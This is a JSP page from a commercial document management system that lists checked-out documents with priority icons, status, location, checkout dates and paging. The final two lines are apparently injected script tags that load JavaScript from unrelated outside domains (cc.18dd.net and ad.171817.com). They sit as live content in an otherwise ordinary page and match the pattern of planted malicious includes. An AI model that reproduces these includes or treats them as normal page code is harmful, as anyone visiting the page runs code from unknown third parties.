<%
/*
 * @(#)ListDmsCheckOutDocument.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of
 * DCIVision Ltd ("Confidential Information").  You shall not
 * disclose such Confidential Information and shall use it only in
 * accordance with the terms of the license agreement you entered into
 * with DCIVision Ltd.
 */


/**

  ListDmsCheckOutDocument.jsp

  This is a ListDmsCheckOutDocument page.

    @author             Jenny Li
    @company            DCIVision Ltd
    @creation date      14/03/2005
    @version            $Revision: 1.11.2.18 $
*/

%>
<%@ page contentType="text/html;charset=UTF-8"%>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ taglib uri="/tags/dms" prefix="dms" %>
<%@ page import="java.util.ArrayList"%>
<%@ page import="java.util.Locale"%>
<%@ page import="com.dcivision.dms.bean.*"%>
<%@ page import="com.dcivision.framework.*"%>
<%@ page import="com.dcivision.framework.bean.*"%>
<%@ page import="com.dcivision.framework.web.*"%>
<%@ page import="com.dcivision.dms.core.*"%>
<%@ page import="com.dcivision.dms.*"%>
<%@ page import="java.sql.*" %>
<%@ page import="org.apache.commons.logging.LogFactory"%>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="listDmsCheckOutDocumentForm" scope="request" class="com.dcivision.dms.web.ListDmsCheckOutDocumentForm"/>
<%
  /****************************************************************************
   * List Attributes Configuration Begin                                      *
   ****************************************************************************/
  String      LIST_NAME = "checkOutDocumentList";

  String[][]  LABEL_MAP = { {"ID", "ID"},
                            {"dms.columnheader.priority", "PRIORITY"},
                            {"dms.columnheader.doc_name", "DOCUMENT_NAME"},
                            {"dms.columnheader.item_status","ITEM_STATUS"},
                            {"dms.label.location", GlobalConstant.NOT_AVAILABLE},
                            {"dms.columnheader.item_size", "ITEM_SIZE"},
                            {"dms.label.checkout_date",GlobalConstant.NOT_AVAILABLE},
                            {"dms.label.auto_checkin_date",GlobalConstant.NOT_AVAILABLE},
                            {"common.columnheader.update_date", "UPDATE_DATE"},
                            {"common.columnheader.updater", "UPDATER_ID"}
                          };

  String[][] SEARCH_MAP = { {"dms.label.root_name", "ROOT_NAME"},
                            {"dms.label.root_desc", "B.DESCRIPTION"},
                            {"dms.label.storage_limit", "STORAGE_LIMIT"}
                          };

  String[][] SHOW_MAP = { {"dms.label.mode_a","A"},
                          {"dms.label.mode_b","B"}
                        };

  int     COLUMN_OFFSET = 2;
  /****************************************************************************
   * List Attributes Configuration End
   ****************************************************************************/
   Connection conn =  (Connection)request.getAttribute(GlobalConstant.DB_KEY);
   PermissionManager permissionManager = sessionContainer.getPermissionManager();
   DocumentRetrievalManager docRetrievalManager = new DocumentRetrievalManager(sessionContainer, conn);
   VersionControlManager verControlManager = new VersionControlManager(sessionContainer, conn);
   String sCurFunctionCode = (String)request.getAttribute(GlobalConstant.FUNCTION_CODE_KEY);
   String permission="";
   String returnURL="ListDmsPublicRoot.do?opMode="+GlobalConstant.OP_MODE_LIST_RETAIN;
%>

<script language="javascript">
<!--
function changeModeType(){
  document.listDmsCheckOutDocumentForm.submit();
  return(false);
}

function CustOpCheckin(documentID, parentID, rootID, curFunctionCode, lockUserID, curUserID, navMode,hasRelationship,returnTo,permission){
  curFunctionCode = "AUTO_CHECK";
  if (permission.indexOf("T") != -1){
    return OpCheckin(documentID,parentID,rootID,curFunctionCode,lockUserID,curUserID,navMode,returnTo);
  } else {
    alert("<bean:message key='dms.message.no_right_checkin_doc'/>");
  }
}
-->
</script>

<!-- Form Section Begin -->
<html:form action="dms/ListDmsCheckOutDocument" method="POST">
<html:hidden property="opMode"/>
<html:hidden property="navMode"/>
<html:hidden property="sortAttribute"/>
<html:hidden property="sortOrder"/>
<html:hidden property="curStartRowNo"/>
<html:hidden property="parentID"/>
<html:hidden property="rootID"/>
<html:hidden property="documentID"/>

<!-- Page List Bar Begin -->
<layout:listBar>
    <layout:returnButton className="btn-standard" returnURL="<%=returnURL%>"/>
    <layout:filterControl/>
    </layout:listBar>
<!-- Page List Bar End -->

<!-- Search Panel Begin -->
<div id="filterPanel" class="filterPanel">
    <div class="wording"><bean:message key='common.label.filter.panel_wording'/></div>
    <div>
        <table>
            <tr>
                <td class="filterPanelItem" nowrap>
                    <bean:message key='dms.label.change_mode'/>
                </td>
                <td class="filterPanelItem" nowrap>
                    <html:select property="modeType" onchange="return changeModeType();">
                    <html:options stringArray='<%=SHOW_MAP%>' hasSelect='false'  />
                    </html:select>
                </td>
                <td class="filterPanelItem" nowrap></td>
            </tr>
        </table>
    </div>    
</div>
<!-- Search Panel End -->

<%try{%>
<!-- Table Showing Record List Begin -->
<div id="dataGrid" class="listTable">
<table>
  <!-- Table Column Header Begin -->
  <tr>
  <layout:columnHeader form="listDmsCheckOutDocumentForm" labelMap="<%=LABEL_MAP%>" sortAttribute="<%=listDmsCheckOutDocumentForm.getSortAttribute()%>" sortOrder="<%=listDmsCheckOutDocumentForm.getSortOrder()%>" checkColumn="false" editColumn="false" copyColumn="false"/>
  </tr>
  <!-- Table Column Header End -->
  <!-- Record Looping Begin -->
  <logic:iterate id="dmsDocument" name="<%=LIST_NAME%>" scope="request" indexId="listLoopCnt">
  <tr onmousedown="SetTableRowColor(this, <bean:write name='listLoopCnt'/>, 'click', <%=((AbstractBaseObject)dmsDocument).getID()%>);">
    <%
    //Permission string
    permission = (String)permissionManager.getPermission(conn, GlobalConstant.OBJECT_TYPE_DOCUMENT, ((AbstractBaseObject)dmsDocument).getID());
    DmsDocument rootFolder = docRetrievalManager.getRootFolderByRootID(((DmsDocument)dmsDocument).getRootID());
    DmsCheckoutHistory checkoutHistory = new DmsCheckoutHistory();
    Integer checkoutPersonID = new Integer("0");
    String docItemStatus = ((DmsDocument) dmsDocument).getItemStatus();
    if (DmsVersion.EXCLUSIVE_LOCK.equals(docItemStatus)) {
      checkoutHistory = (DmsCheckoutHistory)verControlManager.getCheckoutHistory(((DmsDocument)dmsDocument).getCheckoutID());
      checkoutPersonID = checkoutHistory.getCheckoutPersonID();
    }
        //Update By Jim Zhou            2006/12/13          EIP-1034
        String itemSize = null;
        if (!Utility.isEmpty(((DmsDocument)dmsDocument).getItemSize())){
            itemSize=TextUtility.formatFileSize(((DmsDocument)dmsDocument).getItemSize().intValue());
        } else {
            itemSize="-";
        }
        //Update End
    %>
    <td align="center">
      <%
      if (GlobalConstant.PRIORITY_HIGH.equals(((DmsDocument)dmsDocument).getPriority())) {
        %><html:img src='IconPriorityHigh.gif'  align='absmiddle' alt='<%=TextUtility.escapeJSString(MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "common.priority.label_3"))%>' /><%
      } else if (GlobalConstant.PRIORITY_MEDIUM.equals(((DmsDocument)dmsDocument).getPriority())) {
        %><html:img src='IconPriorityMedium.gif'  align='absmiddle' alt='<%=TextUtility.escapeJSString(MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "common.priority.label_2"))%>' /><%
      } else if (GlobalConstant.PRIORITY_LOW.equals(((DmsDocument)dmsDocument).getPriority())) {
        %><html:img src='IconPriorityLow.gif'  align='absmiddle' alt='<%=TextUtility.escapeJSString(MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "common.priority.label_1"))%>' /><%
      }
    %>
    </td>
    <td nowrap>
      <nobr><dms:documentInfo docObject='<%=(DmsDocument)dmsDocument%>' permission='<%=permission%>' rootDocument='<%=rootFolder%>'/></nobr>
    </td>
    <td align="center" width="100" class="bodyVerySmall" nowrap>
    <input type="hidden" name='itemStatus_<bean:write name='dmsDocument' property='ID'/>' value='<%=docItemStatus%>' />
    	<dms:documentStatus/>
    </td>
    <td nowrap>
      <dms:locationPath parentID="<%=((DmsDocument)dmsDocument).getParentID()%>" rootID="<%=((DmsDocument)dmsDocument).getRootID()%>" permission='<%=permission%>' rootDocument='<%=rootFolder%>' indexFlag='showIndexFlag'/>
    </td>
    <td nowrap>
      <%=itemSize%>
    </td>
    <td class="bodyVerySmall" nowrap><bean:write name='dmsDocument' property='checkoutDate' format='<%=TextUtility.getDateTimeFormat().toPattern()%>'/></td>
    <td class="bodyVerySmall" nowrap><bean:write name='dmsDocument' property="checkinDate" format="<%=TextUtility.getDateTimeFormat().toPattern()%>"/>
    </td>
    <td class="bodyVerySmall" nowrap><bean:write name='dmsDocument' property='updateDate' format='<%=TextUtility.getDateTimeFormat().toPattern()%>'/></td>
    <td class="bodyVerySmall"><bean:write name='dmsDocument' property='updaterName'/></td>
    </tr>
  </logic:iterate>
  <!-- Record Looping End -->
</table>
</div>
<!-- Table Showing Record List End -->

<!-- Pager Information Begin -->
<div class="listStatusBar">
  <layout:pager form="listDmsCheckOutDocumentForm" name='<%=LIST_NAME%>'>
  <div class="statement"><layout:pagerInfo/></div>
  <div class="sepBar"><layout:pagerIndex/></div>
  </layout:pager>
</div>
<!-- Pager Information End -->
<%}catch(Exception e){LogFactory.getLog(this.getClass()).error(e, e);}%>
</html:form>
<!-- Form Section End -->

<script language='javascript'>
<!--

  function clipbordInvite(docID){
    try{
        var url = "<%=request.getContextPath()%>/dms/MaintDmsInvitationAction.do?actionType=M&documentID=" + docID;
        var ni = document.createElement("iFrame");
        ni.setAttribute("src",url);
        ni.setAttribute("scrolling","yes");
        ni.setAttribute("frameborder","no");
        ni.setAttribute("width","100%");
        ni.setAttribute("height","100%");
        ni.setAttribute("id","ifram1");
        document.getElementById("NewDocumentInvitation").appendChild(ni);
        document.getElementById("NewDocumentInvitation").style["display"]="";

        var loadFrame = document.getElementById("NewDocumentInvitation");

        loadFrame.style.width="780";
        loadFrame.style.height = "600";
        loadFrame.style.top = (document.body.clientHeight-600)/2 + document.body.scrollTop;
        loadFrame.style.left = (document.body.clientWidth-780)/2 + document.body.scrollLeft;
        DimBackgroud(null,false);
    }catch(e){}

  }
//-->
</script>
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>